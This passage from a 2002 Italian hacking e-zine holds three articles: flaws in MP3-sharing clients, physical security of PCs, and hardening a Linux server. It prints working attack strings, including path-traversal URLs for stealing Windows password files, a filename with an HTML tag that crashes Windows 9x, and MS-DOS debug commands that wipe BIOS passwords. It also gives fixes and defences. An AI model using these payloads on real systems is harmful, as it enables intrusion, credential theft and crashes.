| USER=C:\WINDOWS\USER.PWL |
| |
| ----------- System.ini ----------- |
| |
| Pwl Files: |
| Sono i file delle password di Windows e possono contenere la password |
| utilizzata dall'utente in formato criptato (a volte la password e' |
| rappresentata da stringa vuota), possono essere facilmente crackati con |
| un brute force attack grazie alla debolezza dell'algoritmo di |
| criptazione. |
| |
| User.dat: |
| Rappresenta la sede del registro di configurazione di Windows e contiene |
| molte delle password utilizzate dal sistema tra cui quelle di |
| connessione a internet, l'applicazione regedit ne consente la |
| navigazione attraverso il complesso albero di directory. |
| |
| Mp3server.ini: |
| File generato da Mp3Mystic stesso, contiene la password di |
| amministrazione del programma in testo in chiaro :) |
| |
| |
| ----------- Mp3server.ini ----------- |
| |
| [admin] |
| RegCode= |
| user=username |
| pass=password |
| RequirePW=0 |
| AccessUser= |
| AccessPW= |
| |
| .... |
| |
| ----------- Mp3server.ini ----------- |
| |
| Un possibile scenario di attacco puo' essere rappresentato da quanto |
| segue: |
| |
| 1) http://127.0.0.1/../windows/system.ini |
| l'attacker scarica il system.ini dal sistema remoto utilizzando il path |
| malizioso, da tale file e' in grado di risalire al path dei file pwl |
| presenti nel sistema. |
| |
| 2) http://127.0.0.1/../windows/user.pwl |
| l'attacker preleva il file contenente la password criptata dell'user |
| remoto. |
| |
| 2.3 Log file |
| Ogni trasferimento sara' loggato dal web server compreso l'ip |
| dell'attacker, le voci relative ai log sono memorizzate nel file |
| Mp3server.log, i lamer sono avvisati :) |
| Ecco come appare una voce di tale file: |
| |
| 13/12/01|13.49.27|127.0.0.1|\file.mp3 |
| |
| 2.4 Fix |
| Tale problema e' stato fixato dalla versione 1.04b3 di Mp3Mystic, |
| scaricate sempre la versione piu' aggiornata del programma in modo da |
| prevenire le vulnerabilita' conosciute. |
| |
| 3. Gnutella |
| Gnut e' un client per Linux che permette la condivisione di file mp3 con |
| altri utenti della rete, lavora da console e implementa il protocollo |
| utilizzato dagli altri client Gnutella. |
| |
| 3.1 HTML Tags Vulnerability |
| A differenza dei suoi colleghi questo client e' afflitto da un bug che |
| permette ad un attacker di manipolare i nomi dei propri file inserendo |
| dei tag html nascosti al fine di causare l'elaborazione di codice |
| malizioso da parte di utenti remoti. |
| |
| 3.2 Exploit |
| Inizialmente ero indeciso se rilasciare degli esempi pratici di utilizzo |
| di tale bug, mi affido al vostro buon senso sperando che nessuno abusi |
| di quanto verra' descritto in seguito... |
| |
| Per provare questa vulnerabilita' in locale ho generato un file mp3 dal |
| nome: |
| |
| Song<meta http-equiv="REFRESH" content="3; URL=file:\\\c:\con\con">.mp3 |
| |
| Questo nome file contiene al suo interno un meta tag che causa il crash |
| di ogni sistema Windows9x in cui tale file compaia all'interno dei |
| risultati della propria ricerca e che utilizzi un client vulnerabile per |
| accedere alla visualizzazione (esempio Internet Explorer non patchato |
| contro il dos device in path name). |
| |
| Le possibilita' di generare altri file che sfruttino tale vulnerabilita' |
| e' limitata solo dai caratteri consentiti nei nomi di file dal vostro |
| sistema operativo, tutto sta alla vostra fantasia. |
| |
| 3.3 Fix |
| Il problema e' stato fixato dalla versione 0.4.26 in poi del programma |
| Gnut per Linux, aggiornate regolarmente il vostro software e scaricate |
| la versione piu' recente disponibile al momento per il programma. |
| |
| 4. Audiogalaxy |
| Il software al momento piu' utilizzato per la condivisione dei file mp3 |
| in rete, e' composto da un'interfaccia web based un po' meno intuitiva |
| rispetto ai programmi analizzati in precedenza ma offre un panorama di |
| canzoni sicuramente superiore ad ogni altro clone. |
| |
| 4.1 Clear Text Password |
| L'applicazione conserva i dati atti al login sotto forma di testo in |
| chiaro, permettendo ad un eventuale attacker di entrare in possesso di |
| password che potrebbero rappresentare un pericolo per l'integrita' del |
| sistema stesso. La malsana abitudine di molti utenti nell'utilizzare la |
| medesima password per molteplici applicazioni amplifica il fattore di |
| rischio. |
| |
| (Tratto dal README di Audiogalaxy Linux version 0.520) |
| Linux users must create account.txt and shares.txt in their favorite |
| text editor before the Satellite will run. The format of account.txt is |
| simply email that you used to create an account from the web site on the |
| first line. The second line will be your password |
| >account.txt |
| email |
| password |
| |
| 4.2 Exploit |
| E' possibile utilizzare un exploit sul sistema che monta una versione |
| vulnerabile di Audiogalaxy al fine di ottenere i permessi necessari per |
| prelevare il file account.txt. |
| |
| 4.3 Fix |
| La vulnerabilita' relativa alla versione Win32 del client e' stata |
| fissata dalla versione .601W in poi, mentre la versione del client per |
| Linux 0.520 (la piu' recente disponibile al momento) resta tutt'ora |
| vulnerabile. |
| Per limitare il piu' possibile i rischi derivanti dall'uso di tale |
| applicazione e' buona regola restringere i permessi associati al file |
| account.txt limitandone il solo accesso all'utente root. |
| Utilizzare, inoltre, tale password unicamente per Audiogalaxy in modo da |
| circoscrivere il problema alla sola applicazione a rischio. |
| |
| 5. Napster |
| Nap e' un client che permette la condivisione di file mp3 con il resto |
| della rete, la versione 1.4.4 in particolare presenta una vulnerabilita' |
| che risulta al momento fissata. |
| Non mi e' stato possibile in alcun modo testare o approfondire tale |
| vulnerabilita' a causa della mancata compatibilita' del client di |
| vecchia versione con il protocollo utilizzato attualmente sul lato |
| server, per tanto mi limitero' a riportare le informazioni reperibili su |
| Bugtraq. La funzione sendpack() e' vulnerabile ad un attacco string |
| format che permetterebbe ad un eventuale attacker di ideare un file name |
| appositamente studiato al fine di guadagnare l'accesso al sistema |
| remoto. |
| |
| 5.1 String Format Attack |
| E' possibile sfruttare tale vulnerabilita', dovuta ad un'errata |
| dichiarazione della funzione sendpack(), ideando un file name che |
| contenga al suo interno uno o piu' caratteri % al fine di alterare la |
| normale esecuzione del processo, in tal modo e' possibile accedere allo |
| stack associato al fine di reperire i dati relativi al login. |
| La funzione incriminata viene richiamata ogni qual volta il programma |
| client voglia fornire il database dei file condivisi al server Napster |
| remoto. In tal modo al successivo avvio (durante il refresh del |
| database) il client che dovesse aver ricevuto un file malizioso |
| eseguira' il codice nascosto all'interno dello stesso. |
| |
| 5.2 Bugtraq Post |
| Riporto qui di seguito il post originale comparso su Bugtraq: |
| |
| [NdR: Vedi allegato 0x09] |
| |
| 5.3 Fix |
| Il problema e' stato fissato dalla versione immediatamente successiva |
| alla 1.4.4, e' possibile fare riferimento al ChangeLog per maggiori |
| informazioni, ne riporto qui di seguito una parte: |
| |
| "(2001/01/20) PS1 - fixed a security bug (string format attack): |
| calls to sendpack(a, b, c), where c is not a constant string, |
| must be replaced by sendpack(a, b, "%s", c). This is because in |
| some contexts, c may contain arbitrary data (such as filenames), |
| and by embedding '%' characters in c, a cracker could gain |
| access to any data on this process's evaluation stack, including |
| passwords etc. I found this bug in a posting by gregory duchemin |
| <c3rb3r@HOTMAIL.COM> to BUGTRAQ@SECURITYFOCUS.COM, archived at |
| http://www.shmoo.com/mail/bugtraq/sep00/msg00942.shtml." |
| |
| 6. Morpheus |
| Sono state riscontrate alcune falle nella sicurezza di questo programma |
| che permettono un attacco di tipo denial of service atto a consumare la |
| banda della vittima, l'applicazione non fornisce alcuna funzione di log |
| al fine di riscontrare tali violazioni. |
| Inoltre permette ad un utente di reperire informazioni agendo da una |
| postazione remota. |
| |
| 6.1 Denial of Service |
| Una volta avviato il programma di sharing verra' posta in listening la |
| porta 1214, Morpheus non offre alcun controllo per quanto riguarda il |
| numero simultaneo di richieste remote, questo permette ad un attacker di |
| occupare l'intera banda della vittima con traffico superfluo. |
| Potete trovare il sorgente dell'exploit su Packet Storm |
| (http://www.packetstormsecurity.org), il nome dello script e' "km.pl". |
| |
| 6.2 Client Information |
| Il client remoto rivela informazioni sensibili riguardo l'utente. |
| E' possibile ricavare tali informazioni telnettandosi all'host sulla |
| porta 1214 e fornendo come input la seguente stringa: |
| |
| GET HTTP/1.0 |
| |
| l'output fornira' diverse informazioni sul programma server tra cui |
| l'username dell'utente remoto. |
| |
| 6.3 Fix |
| Il problema al momento non e' ancora stato fissato, e' consigliabile |
| l'uso di un firewall per negare l'accesso alla porta 1214 agli utenti |
| indesiderati. In questo caso specifico agli utenti Windows torna utile |
| il Conseal PC Firewall che permette una gestione dinamica delle rules. |
| |
| 7. Risorse |
| Packet Storm www.packetstormsecurity.org |
| Bugtraq www.securityfocus.com |
| New Order www.neworder.box.sk |
| Audiogalaxy README |
| Nap ChangeLog |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #05 - 14/01/2002 |
| SiCUREZZA FiSiCA DEi SiSTEMi [E4zy] 0x07/0x23 |
+--------------------------------------------------------------------------+
| |
| Indice: |
| |
| 0. Intro |
| |
| 1. Remote Power up |
| 1.1 Requisiti |
| 1.2 Teoria |
| 1.3 Pratica |
| 1.4 Trucchi e suggerimenti |
| |
| 2. Invalidazione della CMOS |
| 2.1 Metodi hardware |
| 2.2 Metodi software |
| 2.3 Sequenza di boot |
| |
| 3. LILO |
| 3.1 Modalita' singola |
| 3.2 Opzione password

  
|
| 3.3 Opzione restricted |
| |
| 4. Blocco della console |
| 4.1 Windows screen saver |
| 4.2 Linux xlock |
| |
| 5. Risorse |
| |
| |
| 0. Intro |
| In questo articolo intendo illustrare le politiche di protezione che |
| vengono comunemente implementate per garantire la sicurezza di sistemi |
| che siano esposti fisicamente ad un rischio di intrusione. |
| |
| 1. Remote Power up |
| La celebre frase "un computer sicuro e' un computer spento" rappresenta |
| uno dei tanti miti da sfatare in campo di sicurezza informatica, |
| avvalendoci di un tool che permetta il packet forging(1) abbiamo la |
| possibilita' di assemblare un pacchetto in grado di adempiere a funzioni |
| a molti sconosciute, tra queste quella di forzare l'accensione di |
| determinate macchine agendo da una postazione remota. |
| |
| (1)packet forging: ci si riferisce in generale ad una tecnica che |
| permette di forgiare pacchetti ad hoc al fine di |
| adempiere ad uno scopo preciso |
| |
| 1.1 Requisiti |
| La scheda madre e il BIOS in dotazione sul sistema devono supportare il |
| protocollo di "wake-up" e tale opzione deve essere abilitata (sezione |
| Power Management nel BIOS Award), i BIOS Award di nuova generazione |
| offrono tale funzione. |
| La scheda di rete deve essere compatibile con tale protocollo, se e' |
| possibile rilevare la presenza di tensione sulla scheda anche a PC |
| spento e' probabile che la vostra periferica fornisca tale |
| funzionalita', molti dispositivi quali Hub segnalano la presenza di |
| tensione su una determinata porta mediante l'accensione di led luminosi |
| rendendo ancora piu' semplice tale verifica. |
| |
| 1.2 Teoria |
| E' possibile causare l'accensione di un PC remoto, requisiti permettendo |
| (vedi sopra), forgiando un pacchetto che rispecchi la seguente |
| struttura: |
| |
| [ethernet header][IP header][UDP header][Magic sequence][CRCS] |
| (dal README del programma Wakeonlan-0.40) |
| |
| dove il campo indicato come "Magic sequence" verra' assemblato con le |
| seguenti modalita': |
| |
| - un preambolo composto da 6 byte di FFh; |
| - almeno sedici ripetizione del MAC address del sistema destinatario; |
| |
| Mettiamo che il sistema che vogliamo avviare monti una scheda di rete il |
| cui indirizzo fisico e' 00:11:22:33:44:55, il campo "Magic sequence" |
| sara' cosi' |
| composto: |
| |
| FFFFFFFFFFFF001122334455001122334455001122334455001122334455 |
| 001122334455001122334455001122334455001122334455001122334455 |
| 001122334455001122334455001122334455001122334455001122334455 |
| 001122334455001122334455 |
| |
| L'interfaccia di rete a cui e' destinato il pacchetto sara' in grado di |
| ricevere e interpretare i byte del frame che causeranno l'avvio |
| incondizionato del sistema interessato. |
| |
| 1.3 Pratica |
| Per mettere in pratica quanto descritto ho utilizzato il tool |
| Wakeonlan-0.40 per Linux, ecco la sintassi fornita a run time dallo |
| script stesso: |
| |
| $ ./wakeonlan |
| Usage |
| wakeonlan [-h] [-v] [-i IP_address] [-p port] [-f file] |
| [[hardware_address] ...] |
| |
| Options |
| -h |
| this information |
| -v |
| dislpays the script version |
| -i ip_address |
| set the destination IP address |
| default: 255.255.255.255 (the limited broadcast address) |
| -p port |
| set the destination port |
| default: 9 (discard port) |
| -f file |
| uses file as a source of hardware addresses |
| |
| See also |
| wakelan(1) |
| |
| La rete su cui ho avuto modo di testare questo tool adottava BIOS Award |
| di ultima generazione e schede di rete Realtek 8139-series PCI NIC, |
| l'indirizzo IP del sistema destinatario era 192.168.1.36: |
| |
| $ ./wakeonlan -i 192.168.1.36 00:01:02:03:04:05 |
| Sending magic packet to 192.168.1.36:9 with 00:01:02:03:04:05 |
| |
| l'indirizzo MAC e' stato volutamente modificato con uno di fantasia. |
| |
| 1.4 Trucchi e suggerimenti |
| Per permettere l'avvio di tutti gli host facenti parte della rete locale |
| interessata si utilizzi l'indirizzo di broadcast della rete, esso varia |
| a seconda della classe di riferimento, per l'indirizzo di rete riservato |
| utilizzato in precedenza (192.168.0.0) l'indirizzo di broadcast |
| corrisponde a 192.168.255.255 |
| |
| E' possibile instradare un pacchetto verso un host che si trova su una |
| rete remota riferendosi all'indirizzo di broadcast della rete stessa, in |
| molti casi questo e' impedito dalla maggior parte dei router che non |
| instradano il traffico diretto all'indirizzo di broadcast. |
| In alternativa possiamo inviare tale pacchetto ad uno degli host attivi |
| sulla rete remota, causeremo l'accensione del sistema presente sul |
| medesimo segmento di rete il cui indirizzo MAC si trova all'interno del |
| nostro frame di wakeup. |
| |
| 2. Invalidazione della CMOS |
| Uno dei metodi piu' comuni consiste nel garantirsi in qualche maniera |
| l'accesso al BIOS al fine di manipolare la sequenza di boot del sistema, |
| molto spesso tale operazione viene impedita da una password. |
| |
| 2.1 Metodi hardware |
| Tale password e' conservata nella memoria CMOS della scheda madre, una |
| batteria permette la permanenza di tali dati nella memoria anche in |
| seguito allo spegnimento del sistema, uno dei metodi piu' vecchi |
| consiste nella rimozione della batteria della CMOS al fine di causare il |
| ripristino dei valori di fabbrica della stessa. |
| A mio parere tale metodo risulta quanto meno di difficile attuazione in |
| quanto necessita la rimozione del case il che rappresenta nella maggior |
| parte dei casi un buon deterrente. |
| |
| 2.2 Metodi software |
| Il seguente esempio e' tratto da un testo scritto da Elf Qrin |
| (http://www.ElfQrin.com), questa tecnica permette l'invalidazione |
| software del segmento di memoria della CMOS interessato, nel nostro caso |
| dell'area intesa alla memorizzazione della password del BIOS. |
| A tale scopo ci viene in aiuto il tool Debug di MS-DOS, una volta |
| avviato ci serviremo dell'opzione "O" per invalidare l'area di memoria, |
| tale procedura varia a seconda della versione del BIOS in vostro |
| possesso. Qui di seguito riporto alcuni esempi: |
| |
| |
| ---------------------------------------------------------- |
| | BIOS Award | BIOS Phoenix | BIOS generico | |
| |------------------|------------------|------------------| |
| | C:\>debug | C:\>debug | C:\>debug | |
| | -O 70 17 | -O 70 FF | -O 70 2E | |
| | -O 71 17 | -O 71 17 | -O 71 FF | |
| | -Q | -Q | -Q | |
| | | | | |
| |
| E' consigliabile effettuare tale operazione da MS-DOS puro, sempre che |
| le impostazioni permettano il reboot del sistema. |
| |
| 2.3 Sequenza di boot |
| Una volta aggirata tale protezione sara' possibile accedere alle |
| impostazione del BIOS e settare una differente sequenza di boot al fine |
| di bootare il sistema da un supporto differente (quale il floppy) e |
| accedere al filesystem del sistema senza dover sottostare alle |
| limitazioni imposte dai permessi. |
| Nel caso in cui il sistema in questione sia NT bastera' utilizzare un |
| disco di ripristino per bootare in ambiente MS-DOS, a questo punto e' |
| necessario utilizzare il driver NTFSDOS per accedere alle partizioni |
| NTFS(1) da MS-DOS e prelevare qualsiasi file compreso il SAM(2). |
| |
| (1)NTFS: e' il filesystem proprietario dei sistemi NT |
| (2)SAM: il database che contiene gli hash delle password di un sistema |
| NT, e' equivalente al file /etc/passwd (o /etc/shadow) in |
| ambiente Unix |
| |
| 3. LILO |
| Un'ulteriore sicurezza ci viene fornita da alcune opzioni che riguardano |
| il boot loader, queste impediscono il boot del sistema o eventualmente |
| richiedono l'inserimento della password per avviare l'immagine nel qual |
| caso si specifichino delle opzioni al prompt del programma LILO. |
| |
| 3.1 Modalita' singola |
| E' possibile infatti, avendo accesso fisico al sistema, fare uso di |
| opzioni quali "single" per avviare il sistema in modalita' singolo |
| utente ed ottenere la shell di root senza bisogno di dover specificare |
| password alcuna. |
| Ecco un esempio di quanto ho appena descritto: |
| |
| LILO boot: [tab] |
| linux |
| boot: linux single |
| Loading linux.... |
| |
| Dove linux e' il nome dell'immagine che si desidera avviare. |
| Per ovviare a tale problema sono state introdotte alcune opzioni che ci |
| vengono in aiuto e ci permettono di proteggerci da questo genere di |
| problemi. |
| |
| 3.2 Opzione password |
| Possiamo utilizzare tale opzione all'intero del file lilo.conf al fine |
| di impedire l'avvio dell'immagine a chi non sia in possesso della |
| password; basta aggiungere al file lilo.conf quanto segue: |
| |
| password=<password> |
| |
| Dove <password> e' una password scelta da voi. |
| Ricordate a questo punto di avviare /sbin/lilo per fare in modo che le |
| modifiche abbiano effetto. |
| |
| NOTA BENE: sarebbe una cosa alquanto stupida dare permessi in lettura al |
| file lilo.conf ad utenti che non siano root in quanto la password in |
| questione e' conservata senza alcuna criptazione :D Ecco come appare il |
| prompt del LILO in seguito alle modifiche apportate: |
| |
| LILO boot: |
| Password: |
| |
| 3.3 Opzione restricted |
| Questa opzione va utilizzata insieme all'opzione password e richiede |
| l'inserimento di una password nel caso in cui vengano specificate delle |
| opzioni al prompt di LILO, evitando in tal modo spiacevoli sorprese |
| dovute all'uso di opzioni quali "single" come descritto precedentemente |
| nel corso |
| dell'articolo. |
| Si aggiunga al file lilo.conf le righe seguenti: |
| |
| password=<password> |
| restricted |
| |
| Dove <password> e' una password scelta da voi. |
| Ancora una volta, prestate attenzione ai permessi del file lilo.conf, |
| date accesso in lettura solo e soltanto a root! |
| Infine avviare /sbin/lilo per fare in modo che le modifiche abbiano |
| effetto. |
| |
| 4. Blocco della console |
| Molto utile nel caso in cui l'utente manifesti il bisogno di abbandonare |
| momentaneamente la postazione di lavoro senza necessariamente fare |
| logout dal sistema. |
| |
| 4.1 Windows screen saver |
| Molti di voi avranno presente la password dello screen saver di Windows, |
| non fidatevi di tale applicazione (non fidatevi di Windows in generale |
| :)), e' possibile aggirare tale protezione semplicemente sfruttando |
| l'autorun nel caso in cui "Notifica inserimento automatico" sia attivo |
| su almeno uno dei lettoti CD-ROM del sistema (impostazione attiva per |
| default). |
| |
| *Vi rimando a un mio precedente articolo comparso su OQ02 - Autorun.inf* |
| |
| [...]Dobbiamo come prima cosa procurarci un programma in grado di |
| decifrare la password dello screensaver e disattivarlo automaticamente |
| ad esempio SS-Unlock (http://www.ips-corp.com) oppure SSBypass |
| reperibile al sito http://www.amecisco.com/ssbypass.htm. |
| A questo punto siamo pronti per masterizzare il nostro cd-rom che |
| conterra' nella directory radice il nostro programma e il file |
| autorun.inf alla cui voce "open=" sara' specificato il file da eseguire, |
| inseriamo il nostro cd-rom nel lettore del pc che desideriamo bypassare |
| e come per magia il programma presente sul cd-rom verra' eseguito |
| nonostante la presenza dello screensaver e disattivera' lo stesso |
| (questo funziona per qualsiasi sistema Windows9x, almeno che non sia |
| stata disattivata la voce relativa alla notifica inserimento |
| automatico). |
| |
| 4.2 Linux xlock |
| Si comporta analogamente alla password dello screen saver di Windows, |
| blocca momentaneamente l'account in modo da impedire ad un |
| malintenzionato di usufruire delle credenziale dell'utente. |
| Vi sono alcuni problemi legati all'uso di tale programma, in |
| particolare: |
| |
| - vulnerabilita' legate a buffer overflow locali; |
| - di default e' setuid root; |
| - puo' essere facilmente bypassato nel caso in cui non sia setuid root |
| a causa di un comportamento anomalo del programma stesso. |
| |
| Nel caso in cui xlock non abbia accesso al database shadowato delle |
| password, infatti, la sola pressione del tasto enter durante |
| l'esecuzione di xlock causera' l'immissione, da parte dello stesso, di |
| una stringa vuota all'interno di ~/.xlockrc che sara' considerata |
| password valida per lo sblocco di X. |
| Per diminuire i rischi dovuti all'uso di xlock e' bene prendere alcuni |
| accorgimenti, ovvero creare un gruppo xlock e dare i permessi di accesso |
| necessari al file /etc/shadow a tale gruppo, impostare il programma |
| setgid xlock che non e' altro che il nome del gruppo che abbiamo appena |
| creato, infine togliere il setuid root. |
| In questo modo circoscriviamo i problemi legati ad eventuali exploits |
| locali e evitiamo che xlock sia facilmente bypassabile. |
| |
| 5. Risorse |
| Security-HOWTO |
| Wakeonlan-0.40 README |
| How To Bypass BIOS Passwords by Elf Qrin (http://www.ElfQrin.com) |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #05 - 14/01/2002 |
| PR0TEGGiAM0 iL N0STR0 SERVER [-=Quequero=-] 0x08/0x23 |
+--------------------------------------------------------------------------+
| |
| Cerchiamo di rendere piu' sicuro il nostro server |
| |
| Sono pessimista? No, pero' sappiamo tutti che l'unico computer sicuro |
| e' quello spento e con la spina staccata, quindi.... |
| Il sistema sicuro non esiste, pero' esiste spesso un falso senso di |
| sicurezza che e' piu' dannoso di un sistema vulnerabile :) |
| Dopo queste perle di saggezza possiamo introdurre qualche buona tecnica |
| per aumentare il grado di sicurezza del nostro caro server :)))) |
| La prima scelta e' sicuramente il sistema operativo, scarterei |
| sicuramente windows in favore di un piu' stabile *BSD o di un piu' |
| versatile e comodo Linux, ma tutto e' dettato dalla priorita': se avete |
| bisogno di un server che sia stabile come il granito e che non si puo' |
| permettere di crashare dopo 2 mesi di uptime, beh, a quel punto OpenBSD |
| e FreeBSD (opportunamente patchati per evitare di essere rootati da |
| remoto tramite telnet :) faranno egregiamente il loro bel lavoro, se |
| invece potete permettervi un eventuale crash ogni due mesi, a quel |
| punto possiamo mirare su una comoda linux box. |
| Per quella poca esperienza che posso vantare, sceglierei una Slackware |
| o una Debian, se il vostro pc deve essere un server allora |
| probabilmente non avra' un grande workload e quindi tutti i dieci cd |
| bonus della RedHat sarebbero solo superflui, inoltre ricordate che piu' |
| e' il software installato sul pc, meno e' la sicurezza. |
| La prima cosa da fare e' installare una qualche distribuzione con il |
| minor numero di programmi possibile, quindi evitate tutte quelle cose |
| che possono sembrare carine ma che di fatto non usereste mai :), |
| evitate di installare sendmail e mettete su un bel postfix, per il |
| resto possiamo lasciare tutto cosi', poi upgraderemo in seguito. |
| Una volta messa su la nostra bella distribuzione dobbiamo fare due cose |
| fondamentali: aggiornare il kernel ad una versione stabile (ora siamo |
| alla 2.5.1 si presume quindi che il 2.4.x sia in fase di |
| stabilizzazione ma anche il 2.2.x e' davvero ottimo) e patcharlo con |
| qualcosa per aumentarne la sicurezza...Ma cosa? Ho trovato davvero |
| strabilianti la patch della grsecurity (grsecurity.net). Questo gruppo |
| ha riunito in un comodo file il lavoro svolto dai ragazzi della PaX e |
| quello svolto dai programmatori della OpenWall, l'autore ha anche |
| inserito ulteriori migliorie e dopo aver patchato il nostro kernel |
| avremo queste features in piu': |
| - Lo stack non sara' piu' eseguibile rendendo pertanto estremamente |
| difficili da portare a termine tutti i tentativi di Buffer Overflow (o |
| cmq andrebbero modificati gli exploit cosa che la maggior parte delle |
| persone non sa fare, oltretutto in condizioni _delicate_ non e' proprio |
| possibile modificare l'exploit senza minarne il corretto funzionamento) |
| - Non sara' possibile inserire codice esterno nella memoria in cui sta |
| girando un processo (il free exploit ad esempio) pertanto i propri |
| privilegi non potranno esser elevati tramite questa tecnica :) |
| - Insieme allo stack non eseguibile avremo anche il supporto per il |
| trampoline code e questo ci dara' un'ulteriore difesa |
| - La base degli indirizzi che alloca mmap sara' completamente random |
| quindi il sistema sara' ulteriormente difficile da exploitare anche |
| tramite address-guessing |
| - Si ha una comoda protezione verso le temp race conditions (youhuu :P) |
| - I PID sono randomizzati :) |
| - Tante restrizioni sull'accesso alle directory |
| - La macchina non risponde agli ICMP e gli OS Guessing sono |
| letteralmente impossibili... |
| ....Tanto altro, ma vi rimando al readme di questa splendida patch |
| perche' l'autore armato di buona voglia ha fatto anche tanti piccoli |
| esempi sicuramente utilissimi. |
| Una volta patchato il kernel siamo discretamente piu' sicuri...Ci resta |
| da prendere ancora qualche piccolo accorgimento. |
| Tanto per cominciare eliminiamo fisicamente telnet e telnetd dal |
| sistema, leviamo sendmail se l'avete messo :) togliamo tutti i bit suid |
| se non utilizziamo determinati programmi (ad esempio, lpd suid e' |
| inutile se non si usa lpd). |
| Mettiamo su la release piu' recente di OpenSSH/OpenSSL (mai utilizzare |
| versioni vecchie visto che sono quasi tutte vulnerabili anche se gli |
| exploit non sono released), installiamo un buon demone ftp (sempre se |
| ci serve), io opterei per un ProFTPd anche se le obiezioni potrebbero |
| essere tante. Tuteliamoci levando l'accesso anonymous a meno che non |
| vogliate metter su un server warez :) o un qualche mirror. |
| Disabilitiamo l'accesso remoto da root su tutte le console ad eccezione |
| della stty (se invece non avete bisogno di loggarvi come root da remoto |
| allora blindatele tutte) aprite /etc/login.defs (per le Slackware): |
| |
| # If defined, either full pathname of a file containing device names or |
| # a ":" delimited list of device names. Root logins will be |
| allowed only |
| # upon these devices. |
| # |
| # Inserite questa linea per consentire l'accesso root sulla stty |
| o commentatelo |
| # per disabilitarla |
| CONSOLE /etc/securetty |
| #CONSOLE console:tty01:tty02:tty03:tty04 |
| |
| Sempre smanettando su questo file, fate in modo che non venga mostrata |
| la versione del kernel al login, non e' molto, ma e' qualcosa :) |
| |
| Fatto questo passiamo alla configurazione del firewall, per kernel 2.4 |
| e superiori avremo iptables, una configurazione di base potrebbe |
| essere questa: |
| |
| iptables -A INPUT -i eth0 -p tcp -m state --state INVALID -j DROP |
| iptables -A INPUT -i eth0 -p udp -m state --state INVALID -j DROP |
| iptables -A INPUT -i eth0 -p tcp --syn -m limit 1/second -j ACCEPT |
| |
| Le prime due rules sono chiare, la terza invece serve per evitare i |
| synflood, ovvio che se dovete gestire 100.000 connessioni al giorno su |
| un grosso server allora non potete inserire l'ultima rule. |
| Se il vostro server non deve accettare connessioni dall'esterno potete |
| chiudere tutte le porte, se invece i vostri utenti sono limitati potete |
| configurare iptables per accettare solo determinate mask, al contrario, |
| se i vostri utenti sono molti, non potete far altro che limitare le |
| mask che NON vi piacciono :P, usare i programmi reputati _sicuri_, |
| utilizzare meno servizi possibili e limitare pesantemente i permessi di |
| accesso (la patch di grsecurity permette tra le tante cose, anche di |
| settare una ACL che e' comodissima dal momento che potete decidere |
| anche quanta memoria puo' utilizzare per i propri processi un singolo |
| utente, cosi da evitare fork bomb). |
| Blindate ovviamente la porta delle RPC (111 per chi non lo sapesse) e |
| commentate tutto cio' che non vi serve in /etc/inetd.conf (ftp ed altre |
| cose e' meglio che le fate partire come standalone). |
| Un'ottima idea e' quella di metter su snort (www.snort.org) e |
| configurarlo in modo da sniffare tutte le stringhe _caratteristiche_ |
| degli exploit (lo shellcode ad esempio). |
| Mentre verso l'interno della LAN io metterei uno sniffer tipo ettercap |
| (ciao ALoR :)) che ci consente rapidamente di vedere tutto cio' che |
| puo' essere anomalo. |
| Se avete fatto tutto come descritto, ora dovreste avere uno sistema |
| cosi configurato: |
| Kernel Patchato, servizi opportunamente filtrati, sniffer verso la rete |
| internet e verso l'interno, possibilita' limitata di login root su |
| console....Vi pare abbastanza? |
| Io dico di no, possiamo fare di meglio, innanzitutto dobbiamo loggare |
| tutto quello che avviene sul nostro sistema, opterei per un clone del |
| syslog come ad esempio syslog-ng che mi e' sembrato davvero buono, se |
| proprio siete paranoici fate come me, mi sono fatto uno scriptino che |
| ogni due tre ore mi critta i log cosi' li leggo e li modifico solo |
| io :) |
| Loggate pesantemente l'attivita' su tutti i servizi piu' usati (come |
| ftp) magari utilizzando anche semplicemente iptables in questo modo: |
| |
| iptables -A INPUT -p tcp -s ! 10.0.0.0/24 --dport 21 -j LOG |
| --log-prefix "FTP TCP Access Attempt!" |
| |
| Dove 10.0.0.0/24 e' la nostra lan, questa rule logga tutti gli accessi |
| su ftp, guardate un esempio sulla mia macchina: |
| |
| Dec 26 11:48:21 xxxxx kernel: FTP TCP Access Attempt! IN=ppp0 OUT= MAC= |
| SRC=203.78.94.131 DST=xx.xxx.xx.xxx LEN=40 TOS=0x00 PREC=0x00 TTL=51 |
| ID=9927 PROTO=TCP SPT=49853 DPT=21 WINDOW=4096 RES=0x00 SYN URGP=0 |
| |
| Nel caso invece si logghi una macchina della LAN, si ottiene qualcosa |
| come: |
| |
| Dec 26 21:34:09 xxxxx kernel: FTP Connection AttemptIN=eth0 OUT= |
| MAC=00:e0:3c:56:32:27:00:e0:3c:89:14:6b:05:00 SRC=10.0.0.9 DST=10.0.0.1 |
| LEN=48 TOS=0x00 PREC=0x00 TTL=128 ID=31415 DF PROTO=TCP SPT=1401 DPT=21 |
| WINDOW=16484 RES=0x00 SYN URGP=0 |
| |
| Questo ci da una panoramica globale su quello che avviene dentro e |
| fuori la rete, ora possiamo gia stare poco piu' tranquilli :). |
| Se proprio vi va, potete fare una cosa utilissima, i BSD ogni tot ore |
| mandano al root una mail con il report di tutti i file suid del |
| sistema, l'ideale sarebbe farsi un semplicissimo scriptino che ogni |
| 12-24 ore vi manda un report di tutti questi spostamenti su una casella |
| esterna (tipo yahoo o hotmail). |
| Un esempio potrebbe essere questo, fatto sul momento: |
| |
| ------------------8<---CUT HERE-----8<--------------------------- |
| #!/bin/sh |
| find / -type f \( -perm -04000 -o -perm -02000 \) -ls > /tmp/suid |
| md5sum /tmp/suid >> /tmp/suid |
| cat /tmp/suid | mail root |
| ------------------8<---CUT HERE-----8<--------------------------- |
| |
| Mettetelo nel cron ogni 12 ore e via.... :) |
| |
| E' stato fatto tutto il possibile per rendere sicuro il nostro |
| bel server? |
| Naaaa non credo proprio, in realta' si potrebbe fare qualcosa di |
| seriamente bello, ovvero rendere il nostro server un MAC (Mandatory |
| Access Control), e' un tipo di organizzazione utilizzato sui sistemi |
| militari, e' una soluzione un po' laboriosa ma e' davvero strastupenda, |
| credo che ne scrivero' presto un tutorial, quindi, antenne dritte |
| ragazzi :PPP |
| |
| Saludosssss |
| |
| -=Quequero=- |
| SpP/Member http://www.spippolatori.org |
| UIC Founder http://quequero.cjb.net |
| |
+--------------------------------------------------------------------------+


